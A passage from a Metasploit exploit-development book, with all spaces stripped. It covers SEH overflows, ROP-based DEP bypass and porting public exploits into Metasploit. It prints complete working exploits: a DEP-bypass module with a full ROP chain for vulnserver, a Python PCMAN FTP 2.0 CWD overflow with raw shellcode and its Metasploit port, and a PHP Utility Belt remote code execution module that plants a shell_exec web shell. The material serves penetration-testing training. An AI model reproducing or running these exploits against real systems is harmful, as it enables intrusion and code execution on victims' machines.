Wecanseeintheprecedingscreenshotthatwelaunchednasm_shell.rbfromthe/usr/share/Metasploit-framework/tools/exploitdirectoryandsimplytypedinthecommandthatgeneratedthesameop-code,EB0A,thatwediscussedearlier.Hence,wecanutilizeNASMshellinallourupcomingexploitexamplesandpracticalexercisestoreduceeffortandsavegreatdealoftime.

Comingbacktothetopic,Metasploitallowedustoskipthetaskofprovidingthejumpinstructionandthenumberofbytestothepayloadusinggenerate_seh_record()function.Next,wesimplyprovidedsomepaddingbeforethepayloadtoovercomeanyirregularitiesandfollowwiththepayload.WesimplycompletedtherequestusingHTTP/1.0\r\n\r\nintheheader.Atlast,wesentthedatastoredinthevariableweapontothetargetandcalledthehandlermethodtocheckiftheattemptwassuccessful,andwearegiventhe

accesstothetarget.

Let'stryrunningthemoduleandanalyzethebehaviorasfollows:

Settingalltherequiredoptionsforthemodule,weareallsettoexploitthesystem.Let'sseewhathappenswhenwesupplytheexploitcommand:

Bang!Wesuccessfullyexploitedthetarget,whichisaWindows7system.WesawhoweasyitistocreateSEHmodulesinMetasploit.Inthenextsection,wewilltakeadeeperdiveintoadvancedmodulesthatbypasssecuritymechanismssuchasDEP.

Tip

Refertohttps://github.com/rapid7/metasploit-framework/wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handlerformoreinformationontheSEHmixin.

BypassingDEPinMetasploitmodulesDataExecutionPrevention(DEP)isaprotectionmechanismthatmarkscertainareasofmemoryasnon-executable,causingnoexecutionofShellCodewhenitcomestoexploitation.Therefore,evenifweareabletooverwriteEIPregisterandpointESPtothestartofShellCode,wewillnotbeabletoexecuteourpayloads.ThisisbecauseDEPpreventstheexecutionofdatainthewritableareasofthememorysuchasstackandheap.Inthiscase,wewillneedtouseexistinginstructionsthatareintheexecutableareastoachievethedesiredfunctionality.WecandothisbyputtingalltheexecutableinstructionsinsuchanorderthatjumpingtotheShellCodebecomesviable.

ThetechniqueforbypassingDEPiscalledReturnOrientedProgramming(ROP).ROPdiffersfromanormalstackoverflowofoverwritingEIPandcallingthejumptotheShellCode.WhenDEPisenabled,wecannotdothatsincethedatainthestackisnon-executable.Here,insteadofjumpingtotheShellCode,wewillcallthefirstROPgadgetandthesegadgetsshouldbesetupinsuchawaythattheyformachainedstructure,whereonegadgetreturnstothenextonewithouteverexecutinganycodefromthestack.

Intheupcomingsections,wewillseehowwecanfindROPgadgets,whichareinstructionsthatcanperformoperationsoverregistersfollowedbyareturn(RET)instruction.ThebestwaytofindaROPgadgetistolookfortheminloadedmodules(DLLs).ThecombinationofsuchgadgetsformedtogetherthattakesoneaddressaftertheotherfromthestackandreturntothenextonearecalledROPchains.

Wehaveanexampleapplicationthatisvulnerabletostackoverflow.TheoffsetvalueforoverwritingEIPis2006.Let'sseewhathappenswhenweexploitthisapplicationusingMetasploitasfollows:

Wecanseewegotameterpretershellwithease.Let'sturnonDEPinWindowsbynavigatingtoadvancedsystempropertiesfromthesystemproperties,asfollows:

WeturnedonDEPbyselectingTurnonDEPforallprogramsandservicesexceptthoseIselect.Let'srestartoursystemandretryexploitingthesamevulnerabilityasfollows:

Wecanseeourexploitfailedbecausetheshellcodewasnotexecuted.

Note

Youcandownloadtheexampleapplicationfromhttp://www.thegreycorner.com/2010/12/introducing-vulnserver.html.

Intheupcomingsections,wewillseehowwecanbypasslimitationsposedbyDEPusingMetasploitandgainaccesstotheprotectedsystems.Let'skeeptheDEPenabled,attachthesamevulnerableapplicationtothedebugger,andcheckitsexecutablemodulesasfollows:

UsingMonascript,aswedidpreviously,wecanfindinformationaboutallthemodulesusing!monamodulescommand.However,inordertobuildROPchains,weneedtofindalltheexecutableROPgadgetswithintheseDLLfiles.

UsingmsfroptofindROPgadgets

MetasploitprovidesaveryconvenienttooltofindROPgadgets:msfrop.ItnotonlyenablesustolistalltheROPgadgets,butalsoallowsustosearchthroughthosegadgetsinordertofindtherelevantgadgetsforourrequiredactions.Let'ssayweneedtofindallthegadgetsthatcanhelpustoperformapopoperationovertheECXregister.Wecandothisusingmsfropasfollows:

Assoonasweprovide-sswitchforsearchingand-vforverboseoutput,westartgettingthelistofallgadgetswherePOPECXinstructionisused.Let'sseetheresults:

WecanseewehavevariousgadgetsthatcanperformthePOPECXtaskwithease.However,inordertobuildasuccessfulMetasploitmodulethatcanexploitthetargetapplicationinpresenceofDEP,weneedtobuildachainoftheseROPgadgetswithoutexecutinganythingfromthestack.Let'sunderstandtheROPbypassforDEPthroughthefollowingdiagram:

Ontheleftside,wehavethelayoutforanormalapplication.Inthemiddle,wehaveanapplicationthatisattackedusingbufferoverflowvulnerability,causingtheoverwriteofEIPregister.Ontheright,wehavethemechanismforDEPbypass,whereinsteadofoverwritingEIPwithJMPESPaddress,weoverwriteitwiththeaddressofROPgadget,followedbyanotherROPgadget,andsoonuntiltheexecutionofshellcodeisachieved.

HowwilltheexecutionofinstructionsbypassahardwareenabledDEPprotection?

Theanswerissimple.ThetrickistochaintheseROPgadgetsinordertocallaVirtualProtect()function,whichisamemoryprotectionfunctionusedtomakethestackexecutablesothattheShellCodecanexecute.Let'sseewhatstepsweneedtoperforminordertogettheexploitworkingunderDEPprotection:

1. FindtheoffsettotheEIPregister.

2. OverwritetheregisterwiththefirstROPgadget.3. Continueoverwritingwithrestofthegadgetsuntilshellcodebecomes

executable.4. Executetheshellcode.

UsingMonatocreateROPchains

UsingMonascriptfromimmunitydebugger,wecanfindROPgadgets.However,italsoprovidesfunctionalitytocreateanentireROPchainbyitself,asshowninthefollowingscreenshot:

Usingthe!monarop-m*.dll-cpnonullcommandintheimmunitydebugger'sconsole,wecanfindalltherelevantinformationabouttheROPgadgets.WecanseewehavethefollowingfilesgeneratedbyMonascript:

Interestingly,wehaveafilecalledrop_chains.txt,whichcontainstheentirechainthatcanbeuseddirectlyintheexploitmodule.ThisfilecontainstheROPchainscreatedinPython,C,andRubyforuseinMetasploitalready.Allweneedtodoiscopythechainintoourexploitandwearegoodtogo.

InordertocreateaROPchainfortriggeringtheVirtualProtect()function,thefollowingregistersetupisrequired:

Let'sseetheROPchaincreatedbyMonascriptasfollows:

Wehaveacompletecreate_rop_chainfunctionintherop_chains.txtfileforMetasploit.Wesimplyneedtocopythisfunctiontoourexploit.

WritingtheMetasploitexploitmoduleforDEPbypass

Inthissection,wewillwritetheDEPbypassexploitforthesamevulnerableapplicationinwhichweexploitedthestackoverflowvulnerabilityandtheexploitfailedwhenDEPwasenabled.TheapplicationrunsonTCPport9999.Solet'squicklybuildamoduleandtrybypassingDEPonthesameapplication:

require'msf/core'

classMetasploit3<Msf::Exploit::Remote

Rank=NormalRanking

includeMsf::Exploit::Remote::Tcp

definitialize(info={})

super(update_info(info,

'Name'=>'DEPBypassExploit',

'Description'=>%q{

DEPBypassUsingROPChainsExampleModule

},

'Platform'=>'win',

'Author'=>

[

'NipunJaswal'

],

'Payload'=>

{

'space'=>312,

'BadChars'=>"\x00",

},

'Targets'=>

[

['Windows7HomeBasic',{'Offset'=>2006}]

],

'DisclosureDate'=>'Apr292016'

))

register_options(

[

Opt::RPORT(9999)

],self.class)

end

Wehavewrittennumerousmodules,andarequitefamiliarwiththerequired

Wehavewrittennumerousmodules,andarequitefamiliarwiththerequiredlibrariesandtheinitializationsection.Additionally,wedonotneedareturnaddresssinceweareusingROPchainsthatautomaticallybuildmechanismstojumptotheshellcode.Let'sfocusontheexploitsection:

defcreate_rop_chain()

#ropchaingeneratedwithmona.py-www.corelan.be

rop_gadgets=

[

0x7722d479,#POPECX#RETN[msvcrt.dll]

0x6250609c,#ptrto&VirtualProtect()[IATessfunc.dll]

0x7648fd52,#MOVESI,DWORDPTRDS:[ECX]#ADDDH,DH#RETN

[MSCTF.dll]

0x77276de4,#POPEBP#RETN[msvcrt.dll]

0x77492273,#&jmpesp[NSI.dll]

0x77231834,#POPEAX#RETN[msvcrt.dll]

0xfffffdff,#Valuetonegate,willbecome0x00000201

0x76d6f3a8,#NEGEAX#RETN[RPCRT4.dll]

0x7648f9f1,#XCHGEAX,EBX#RETN[MSCTF.dll]

0x77231834,#POPEAX#RETN[msvcrt.dll]

0xffffffc0,#Valuetonegate,willbecome0x00000040

0x765c4802,#NEGEAX#RETN[user32.dll]

0x770cbd3a,#XCHGEAX,EDX#RETN[kernel32.dll]

0x77229111,#POPECX#RETN[msvcrt.dll]

0x74ed741a,#&Writablelocation[mswsock.dll]

0x774b2963,#POPEDI#RETN[USP10.dll]

0x765c4804,#RETN(ROPNOP)[user32.dll]

0x7723f5d4,#POPEAX#RETN[msvcrt.dll]

0x90909090,#nop

0x774c848e,#PUSHAD#RETN[USP10.dll]

].flatten.pack("V*")

returnrop_gadgets

end

defexploit

connect

rop_chain=create_rop_chain()

junk=rand_text_alpha_upper(target['Offset'])

buf="TRUN."+junk+rop_chain+make_nops(16)+

payload.encoded+'\r\n'

sock.put(buf)

handler

disconnect

end

end

Wecanseewecopiedtheentirecreate_rop_chainfunctionfromtherop_chains.txtfilegeneratedbyMonascripttoourexploit.

Webegintheexploitmethodbyconnectingtothetarget.Thenwecallthecreate_rop_chainfunctionandstoretheentirechaininavariablecalledrop_chain.

Next,wecreatearandomtextof2006charactersusingrand_text_alpha_upperfunctionandstoreitintoavariablecalledjunk.ThevulnerabilityintheapplicationliesintheexecutionoftheTRUNcommand.Therefore,wecreateanewvariablecalledbufandstoretheTRUNcommand,followedbythejunkvariablethatholds2006randomcharacters,followedbyourrop_chain.Wealsoaddsomepaddingandfinallytheshellcodetothebufvariable.

Next,wesimplyputthebufvariableontothecommunicationchannelsock.putmethod.Atlast,wesimplycallthehandlertocheckforsuccessfulexploitation.

Let'srunthismoduleandcheckifweareabletoexploitthesystemornot:

Bingo!WemadeitthroughtheDEPprotectionwithanease.Wecannowperformpostexploitationonthecompromisedtarget.

OtherprotectionmechanismsThroughoutthischapter,wedevelopedexploitsbasedonstack-basedvulnerabilitiesandinourjourneyofexploitation;webypassedSEHandDEPprotectionmechanisms.Therearemanymoreprotectiontechniques,suchasAddressSpaceLayoutRandomization(ASLR),stackcookies,SafeSEH,SEHOP,andmanyothers.Wewillseebypasstechniquesforthesetechniquesintheupcomingsectionsofthebook.However,thesetechniqueswillrequireagreatunderstandingofassembly,opcodes,anddebugging.

Tip

Refertoanexcellenttutorialonbypassingprotectionmechanismsathttps://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/.Formoreinformationondebugging,refertohttp://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/.

SummaryInthischapter,westartedbycoveringtheessentialsofassemblyinthecontextofexploitwritinginMetasploit,thegeneralconcepts,andtheirimportanceinexploitation.Wecovereddetailsofstack-basedoverflows,SEH-basedstackoverflows,andbypassesforprotectionmechanismssuchasDEPindepth.WecoveredvarioushandytoolsinMetasploitthataidtheprocessofexploitation.Wealsolookedattheimportanceofbadcharactersandspacelimitations.

Now,weareabletoperformtaskssuchaswritingexploitsforsoftwareinMetasploitwiththehelpofsupportingtools,determiningimportantregisters,methodstooverwritethem,anddefeatingsophisticatedprotectionmechanisms.

Inthenextchapter,wewilllookatpublicallyavailableexploitsthatarecurrentlynotavailableinMetasploit.WewilltryportingthemtotheMetasploitframework.

Chapter4.PortingExploits"Hackingisnotthedesireinbreakingthings.It'sthedesirebecomingasmart-assinthingsyouknownothingabout-soothersdon'thaveto"-YoussefRebahiGilbert,cybersecurityexpert

Inthepreviouschapter,wediscussedhowtowriteexploitsinMetasploit.However,wedonotneedtocreateanexploitforparticularsoftwareincaseswhereapublicexploitisalreadyavailable.Apublicallyavailableexploitmaybeinadifferentprogramminglanguage,suchasPerl,Python,Corothers.LetusnowdiscoverstrategiesofportingexploitstotheMetasploitframeworkfromavarietyofdifferentprogramminglanguages.ThismechanismenablesustotransformexistingexploitsintoMetasploit-compatibleexploits,thussavingtimeandgivingustheabilitytoswitchpayloadsonthefly.Bytheendofthischapter,wewillhavelearnedaboutthefollowingtopics:

PortingexploitsfromvariousprogramminglanguagesDiscoveringessentialsfromstandaloneexploitsCreatingMetasploitmodulesfromexistingstandalonescanners/toolscripts

PortingscriptsintotheMetasploitframeworkisaneasyjobifweareabletofigureoutwhichessentialsfromtheexistingexploitscanbeusedinMetasploit.

ThisideaofportingexploitsintoMetasploitsavestimebymakingstandalonescriptsworkableonawiderangeofnetworksratherthanasinglesystem.Inaddition,itmakesapenetrationtestmoreorganizedduetoeveryexploitbeingaccessiblefromMetasploit.LetusunderstandhowwecanachieveportabilityusingMetasploitintheupcomingsections.

Importingastack-basedbufferoverflowexploitIntheupcomingexample,wewillseehowwecanimportanexploitwritteninPythontoMetasploit.Thepublicallyavailableexploitcanbedownloadedfromhttps://www.exploit-db.com/exploits/31255/.Letusanalyzetheexploitasfollows:

importsocketass

fromsysimportargv

host="127.0.0.1"

fuser="anonymous"

fpass="anonymous"

junk='\x41'*2008

espaddress='\x72\x93\xab\x71'

nops='\x90'*10

shellcode=

("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"

"\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e"

"\xa2\x6b\xab\x71\x2a\x8e\x9a\xa3\x48\xdb\x8f\x73\x1a\x89\x23"

"\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d"

"\x41\x8f\x01\x2f\x96\x6f\x3b\xe0\xeb\x6e\x7c\x1c\x03\x22\xd5"

"\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33\xad\xb1\xf8\xc0\x07"

"\xbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24\xe1\xd7\x9f\x18\xa8\x5c"

"\x6b\xea\x2b\xb5\xa5\x13\x1a\xf9\x6a\x2a\x93\xf4\x73\x6a\x13"

"\xe7\x01\x80\x60\x9a\x11\x53\x1b\x40\x97\x46\xbb\x03\x0f\xa3"

"\x3a\xc7\xd6\x20\x30\xac\x9d\x6f\x54\x33\x71\x04\x60\xb8\x74"

"\xcb\xe1\xfa\x52\xcf\xaa\x59\xfa\x56\x16\x0f\x03\x88\xfe\xf0"

"\xa1\xc2\xec\xe5\xd0\x88\x7a\xfb\x51\xb7\xc3\xfb\x69\xb8\x63"

"\x94\x58\x33\xec\xe3\x64\x96\x49\x1b\x2f\xbb\xfb\xb4\xf6\x29"

"\xbe\xd8\x08\x84\xfc\xe4\x8a\x2d\x7c\x13\x92\x47\x79\x5f\x14"

"\xbb\xf3\xf0\xf1\xbb\xa0\xf1\xd3\xdf\x27\x62\xbf\x31\xc2\x02"

"\x5a\x4e")

sploit=junk+espaddress+nops+shellcode

conn=s.socket(s.AF_INET,s.SOCK_STREAM)

conn.connect((host,21))

conn.send('USER'+fuser+'\r\n')

uf=conn.recv(1024)

conn.send('PASS'+fpass+'\r\n')

pf=conn.recv(1024)

conn.send('CWD'+sploit+'\r\n')

cf=conn.recv(1024)

conn.close()

ThisstraightforwardexploitlogsintothePCMANFTP2.0softwareonport21usinganonymouscredentialsandexploitsthesoftwareusingCWDcommand.

Theentireprocessfromtheprecedingexploitcanbebrokendownintothefollowingsetofpoints:

1. Storeusername,password,andhostinfuser,pass,andhostvariables.2. Assignthejunkvariablewith2008Acharacters.Here,2008istheoffsetto

overwriteEIP.3. AssigntheJMPESPaddresstoespaddressvariable.Here,

espaddress0x71ab9372isthetargetreturnaddress.4. Store10NOPsintothenopsvariable.5. Storethepayloadforexecutingthecalculatorintheshellcodevariable.6. Concatenatejunk,espaddress,nops,andshellcodeandstoretheminthe

sploitvariable.7. Setupasocketusings.socket(s.AF_INET,s.SOCK_STREAM)andconnect

tothehostusingconnect((host,21))onport21.8. SupplythefuserandfpassusingUSERandPASStosuccessfullyloginto

thetarget.9. IssuetheCWDcommandfollowedbythesploitvariable.Thiswillcause

theEIPoverwriteatanoffsetof2008andpopupthecalculatorapplication.

Letustryexecutingtheexploitandanalyzetheresultsasfollows:

Note

Theoriginalexploittakestheusername,password,andhostfromcommandline.

Theoriginalexploittakestheusername,password,andhostfromcommandline.However,wemodifiedthemechanismwithfixedhardcodedvalues.

Assoonasweexecutedtheexploit,thefollowingscreenshowsup:

Wecanseethecalculatorapplicationpoppingup,whichstatesthattheexploitisworkingcorrectly.

Gatheringtheessentials

LetusfindoutwhatimportantvaluesweneedtotakefromtheprecedingexploittogenerateanequivalentmoduleinMetasploitfromthefollowingtable:

SerialNumber Variables Values

1 OffsetValue 2008

2 Targetreturn/jumpaddress/valuefoundfromExecutablemodulesusingJMPESPsearch

0x71AB9372

3 Targetport 21

4 NumberofleadingNOPbytestotheshellcodetoremoveirregularities

10

5 Logic TheCWDcommandfollowedbyjunkdataof2008bytes,followedbyEIP,NOPs,andshellcode

WehavealltheinformationrequiredtobuildaMetasploitmodule.Inthenextsection,wewillseehowMetasploitaidsFTPprocessesandhoweasyitistobuildanexploitmoduleinMetasploit.

GeneratingaMetasploitmodule

ThebestwaytostartbuildingaMetasploitmoduleistocopyanexistingsimilarmoduleandmakechangestoit.However,aMona.pyscriptcanalsogenerateMetasploit-specificmodulesonthefly.WewillseehowtogeneratequickexploitsusingMona.pyscriptinthelattersectionsofthebook.

LetusnowseetheequivalentcodeoftheexploitinMetasploitasfollows:

require'msf/core'

classMetasploit3<Msf::Exploit::Remote

Rank=NormalRanking

includeMsf::Exploit::Remote::Ftp

definitialize(info={})

super(update_info(info,

'Name'=>'PCMANFTPServerPost-ExploitationCWD

Command',

'Description'=>%q{

Thismoduleexploitsabufferoverflowvulnerabilityin

PCMANFTP

},

'Author'=>

[

'NipunJaswal'

],

'DefaultOptions'=>

{

'EXITFUNC'=>'process',

'VERBOSE'=>true

},

'Payload'=>

{

'Space'=>1000,

'BadChars'=>"\x00\xff\x0a\x0d\x20\x40",

},

'Platform'=>'win',

'Targets'=>

[

['WindowsXPSP2English',

{

'Ret'=>0x71ab9372,

'Offset'=>2008

}

}

],

],

'DisclosureDate'=>'May92016',

'DefaultTarget'=>0))

register_options(

[

Opt::RPORT(21),

OptString.new('FTPPASS',[true,'FTPPassword',

'anonymous'])

],self.class)

End

Inthepreviouschapter,weworkedonmanyexploitmodules.Thisexploitisnodifferent.Westartedbyincludingalltherequiredlibrariesandtheftp.rblibraryfrom/lib/msf/core/exploitdirectory.Next,weassignedallthenecessaryinformationintheinitializesection.Gatheringtheessentialsfromtheexploit,weassignedRetwiththereturnaddressandsettheOffsetas2008.WealsodeclaredthevalueforFTPPASSoptionas'anonymous'.Letusseethenextsectionofcode:

defexploit

c=connect_login

returnunlessc

sploit=rand_text_alpha(target['Offset'])

sploit<<[target.ret].pack('V')

sploit<<make_nops(10)

sploit<<payload.encoded

send_cmd(["CWD"+sploit,false])

disconnect

end

end

Theconnect_loginmethodwillconnecttothetargetandtryloggingintothesoftwareusingthecredentialswesupplied.Butwait!Whendidwesupplythecredentials?TheFTPUSERandFTPPASSoptionsforthemoduleareenabledautomaticallybyincludingtheFTPlibrary.ThedefaultvalueforFTPUSERisanonymous.However,forFTPPASSwesuppliedthevalueasanonymousintheregister_optionsalready.

Next,weuserand_text_alphatogeneratejunkof2008usingthevalueofOffsetfromtheTargetsfield,andthenstoreitinthesploitvariable.Wealso

storethevalueofRetfromtheTargetsfieldinlittleendianformat,usingapack('V')functioninthesploitvariable.AfterconcatenatingNOPsusingthemake_nopfunction,followedbytheShellCodetothesploitvariable,ourinputdataisreadytobesupplied.

Next,wesimplysendoffthedatainthesploitvariabletothetargetinCWDcommandusingsend_cmdfunctionfromtheftplibrary.So,howisMetasploitdifferent?Letussee:

Wedidn'tneedtocreatejunkdatabecausetherand_text_aplhafunctiondiditforus.Wedidn'tneedtoprovidetheRetaddressinlittleendianformatbecausethepack('V')functionhelpedustransformit.Wedidn'tneedtomanuallygenerateNOPsasmake_nopsdiditforus.WedidnotneedtosupplyanyhardcodedShellCodesincewecandecideandchangethepayloadontheruntime.Thissavestimebyeliminatingmanualchangestotheshellcode.WesimplyleveragedtheFTPlibrarytocreateandconnectthesocket.Mostimportantly,wedidn'tneedtoconnectandloginusingmanualcommandsbecauseMetasploitdiditforususingasinglemethod,thatis,connect_login.

ExploitingthetargetapplicationwithMetasploit

WesawhowadvantageoustheuseofMetasploitoverexistingexploitsis.Letusexploittheapplicationandanalyzetheresults:

WecanseethattheFTPPASSandFTPUSERalreadyhavethevaluessetasanonymous.LetussupplyRHOSTandthepayloadtypetoexploitthetargetmachineasfollows:

Wecanseethatourexploitexecutedsuccessfully.Metasploitalsoprovidedsomeadditionalfeatures,whichmakesexploitationmoreintelligent.Wewillseethesefeaturesinthenextsection.

ImplementingacheckmethodforexploitsinMetasploit

ItispossibleinMetasploittocheckforthevulnerableversionbeforeexploitingthevulnerableapplication.Thisisveryimportant,sinceiftheversionoftheapplicationrunningatthetargetisnotvulnerable,itmaycrashtheapplicationandthepossibilityofexploitingthetargetbecomesnil.Letuswriteanexamplecheckcodefortheapplicationweexploitedintheprevioussectionasfollows:

defcheck

c=connect_login

disconnect

ifcandbanner=~/220PCMan'sFTPServer2\.0/

vprint_status("Abletoauthenticate,andbannershowsthe

vulnerableversion")

returnExploit::CheckCode::Appears

elsifnotcandbanner=~/220PCMan'sFTPServer2\.0/

vprint_status("Unabletoauthenticate,butbannershowsthe

vulnerableversion")

returnExploit::CheckCode::Appears

end

returnExploit::CheckCode::Safe

end

Webeginthecheckmethodbyissuingacalltoconnect_loginmethod.Thiswillinitiateaconnectiontothetarget.Iftheconnectionissuccessfulandtheapplicationreturnsthebanner,wematchittothebannerofthevulnerableapplicationusingaregexexpression.Ifthebannermatches,wemarktheapplicationasvulnerableusingExloit::Checkcode::Appears.However,ifwearenotabletoauthenticatebutthebanneriscorrect,wereturnthesameExloit::Checkcode::Appearsvalue,whichdenotestheapplicationasvulnerable.Incaseallofthesechecksfail,wereturnExploit::CheckCode::Safetomarktheapplicationasnotvulnerable.

Letusseeiftheapplicationisvulnerableornotbyissuingacheckcommandasfollows:

Wecanseethattheapplicationisvulnerable.Wecanproceedtotheexploitation.

Tip

Formoreinformationonimplementingcheckmethod,refertohttps://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check%28%29-method.

Importingweb-basedRCEintoMetasploitInthissection,wewilllookathowwecanimportwebapplicationexploitsintoMetasploit.Ourentirefocusthroughoutthischapterwillbetograspimportantfunctionsequivalenttothoseusedindifferentprogramminglanguages.Inthisexample,wewilllookatthePHPutilitybeltremotecodeexecutionvulnerabilitydisclosedon08/12/2015.Thevulnerableapplicationcanbedownloadedfrom:https://www.exploit-db.com/apps/222c6e2ed4c86f0646016e43d1947a1f-php-utility-belt-master.zip.

TheremotecodeexecutionvulnerabilityliesinthecodeparameterofaPOSTrequest,which,whenmanipulatedusingspeciallycrafteddata,canleadtotheexecutionofserver-sidecode.Letusseehowwecanexploitthisvulnerabilitymanuallyasfollows:

Thecommandweusedintheprecedingscreenshotisfwrite,whichwritesdatatoafile.Weusedfwritetoopenafilecalledinfo.phpinthewritablemode.Wewrote<?php$a="netuser";echoshell_exec($a);?>tothefile.

Whenourcommandruns,itwillcreateanewfilecalledinfo.phpandwillputthePHPcontentintothisfile.Next,wesimplyneedtobrowsetotheinfo.phpfile,wheretheresultofthecommandcanbeseen.

Letusbrowsetoinfo.phpfileasfollows:

Wecanseethatalltheuseraccountsarelistedintheinfo.phppage.InordertowriteaMetasploitmoduleforthePHPbeltremotecodeexecutionvulnerability,wearerequiredtomakeGET/POSTrequeststothepage.WewillneedtomakearequestwherewePOSTourmaliciousdataontothevulnerableserverandpotentiallygetthemeterpreteraccess.

Gatheringtheessentials

Themostimportantthingstoknowwhileexploitingaweb-basedbuginMetasploitistofigureoutthewebmethods,figureoutthewaysofusingthosemethods,andfigureoutwhatparameterstopasstothosemethods.Moreover,anotherthingthatweneedtoknowistheexactpathofthefilethatisvulnerabletotheattack.Inthiscase,weknowthatthevulnerabilityispresentintheCODEparameter.

Graspingtheimportantwebfunctions

Theimportantwebmethodsinthecontextofwebapplicationsarelocatedintheclient.rblibraryfileunder/lib/msf/core/exploit/http,whichfurtherlinkstoclient.rbandclient_request.rbfileunder/lib/rex/proto/http,wherecorevariablesandmethodsrelatedtoGETandPOSTrequestsarelocated.

Thefollowingmethodsfromthe/lib/msf/core/exploit/http/client.rblibraryfilecanbeusedtocreateHTTPrequests:

Thesend_request_rawandsend_request_cgimethodsarerelevantwhenmakingaHTTP-basedrequest,butinadifferentcontext.

Wehavesend_request_cgi,whichoffersmuchmoreflexibilitythanthetraditionalsend_request_rawfunctioninsomecases,whereassend_request_rawhelpstomakesimplerconnections.Wewilldiscussmoreaboutthesemethodsintheupcomingsections.

Tounderstandwhatvaluesweneedtopasstothesefunctions,weneedtoinvestigatetheREXlibrary.TheREXlibrarypresentsthefollowingheadersrelevanttotherequesttypes:

Wecanpassavarietyofvaluesrelatedtoourrequestsbyusingtheprecedingparameters.Anexampleissettingourownspecificcookieandahostofotherparametersofourchoice.Letuskeepthingssimpleandfocusontheuriparameter,thatis,pathoftheexploitablewebfile.

ThemethodparameterspecifiesthatitiseitheraGEToraPOSTtyperequest.Wewillmakeuseofthesewhilefetching/postingdatatothetarget.

TheessentialsoftheGET/POSTmethod

TheGETmethodwillrequestdataorawebpagefromaspecifiedresourceandisusedtobrowsewebpages.Ontheotherhand,thePOSTcommandsendsthedatafromaformoraspecificvaluetotheresourceforfurtherprocessing.Now,thiscomesinhandywhenwritingexploitsthatarewebbased.PostingspecificqueriesordatatothespecifiedpagesissimplifiedbytheHTTPlibrary.

Letusseewhatweneedtoperforminthisexploit:

1. CreateaPOSTrequest.2. SendourpayloadtothevulnerableapplicationusingCODEparameter.3. Getmeterpreteraccesstothetarget.4. Performafewpostexploitationfunctions.

Weareclearwiththetasksthatweneedtoperform.Letustakeafurtherstep,generateacompatiblematchingexploit,andconfirmthatit'sworking.

ImportinganHTTPexploitintoMetasploit

LetuswritetheexploitforthePHPutilitybeltremotecodeexecutionvulnerabilityinMetasploitasfollows:

require'msf/core'

classMetasploit4<Msf::Exploit::Remote

includeMsf::Exploit::Remote::HttpClient

definitialize(info={})

super(update_info(info,

'Name'=>'PHPUtilityBeltRemoteCodeExecution',

'Description'=>%q{

Thismoduleexploitsaremotecodeexecutionvulnerability

inPHPUtilityBelt

},

'Author'=>

[

'NipunJaswal',

],

'DisclosureDate'=>'May162015',

'Platform'=>'php',

'Payload'=>

{

'Space'=>2000,

'DisableNops'=>true

},

'Targets'=>

[

['PHPUtilityBelt',{}]

],

'DefaultTarget'=>0

))

register_options(

[

OptString.new('TARGETURI',[true,'ThepathtoPHPUtility

Belt','/php-utility-belt/ajax.php']),

OptString.new('CHECKURI',[false,'CheckingPurpose','/php-

utility-belt/info.php']),

],self.class)

end

Wecanseewehavedeclaredalltherequiredlibrariesandprovidedthenecessaryinformationintheinitializesection.SinceweareexploitingaPHP-basedvulnerability,wechoosethePlatformasPHP.WesetDisableNopstotrueinordertoturnoffNOPusageinthepayloadsincetheexploittargetsremotecodeexecutionvulnerabilityinawebapplicationratherthanasoftwarebasedvulnerability.Weknowthatthevulnerabilityliesintheajax.phpfile.Therefore,wedeclaredthevalueofTARGETURItotheajax.phpfile.WealsocreatedanewstringvariablecalledCHECKURI,whichwillhelpuscreateacheckmethodfortheexploit.Letuslookatthenextpartoftheexploit:

defcheck

send_request_cgi(

'method'=>'POST',

'uri'=>normalize_uri(target_uri.path),

'vars_post'=>{

'code'=>"fwrite(fopen('info.php','w'),'<?phpecho

phpinfo();?>');"

}

)

resp=send_request_raw({'uri'=>

normalize_uri(datastore['CHECKURI']),'method'=>'GET'})

ifresp.body=~/phpinfo()/

returnExploit::CheckCode::Vulnerable

else

returnExploit::CheckCode::Safe

end

end

Weusedsend_request_cgimethodtoaccommodatethePOSTrequestsinanefficientway.SettingthevalueofmethodasPOST,URIasthetargetURIinthenormalizedformatandthevalueofPOSTparameterCODEasfwrite(fopen('info.php','w'),'<?phpechophpinfo();?>');.Thispayloadwillcreateanewfilecalledinfo.phpwhilewritingthecodethat,whenexecuted,willdisplayPHPinformationpage.Wecreatedanotherrequestforfetchingthecontentsoftheinfo.phpfilewejustcreated.Wedidthisusingsend_request_rawtechniqueandsettingmethodasGET.TheCHECKURIvariable,whichwecreatedearlier,willserveastheURIforthisrequest.

Wecanseewestoredtheresultoftherequestintherespvariable.Next,wematchthebodyofresptotheexpressionphpinfo().Iftheresultistrue,itwill

denotethattheinfo.phpfilewascreatedsuccessfullyontothetargetandthevalueofExploit::CheckCode::Vulnerablewillreturntotheuser,whichwilldisplayamessagemarkingthetargetasvulnerable.Otherwise,itwillmarkthetargetassafeusingExploit::CheckCode::Safe.Letusnowjumpintotheexploitmethod:

defexploit

send_request_cgi(

'method'=>'POST',

'uri'=>normalize_uri(target_uri.path),

'vars_post'=>{

'code'=>payload.encoded

}

)

end

end

WecanseewejustcreatedasimplePOSTrequestwithourpayloadinthecodeparameter.Assoonasitexecutesonthetarget,wegetthePHPmeterpreteraccess.Letusseethisexploitinaction:

Wecanseewehavethemeterpreteraccessonthetarget.WehavesuccessfullyconvertedremotecodeexecutionvulnerabilityintoaworkingexploitinMetasploit.

Note

OfficialMetasploitmoduleforPHPutilitybeltalreadyexists.Youcandownloadtheexploitfromhttps://www.exploit-db.com/exploits/39554/.

ImportingTCPserver/browser-basedexploitsintoMetasploitInthefollowingsection,wewillseehowwecanimportbrowserbasedorTCPserverbasedexploitsinMetasploit.

Duringanapplicationtestorapenetrationtest,wemightencountersoftwarethatmayfailtoparsedatafromarequest/responseandendupcrashing.Letusseeanexampleofanapplicationthathasvulnerabilitywhenparsingdata:

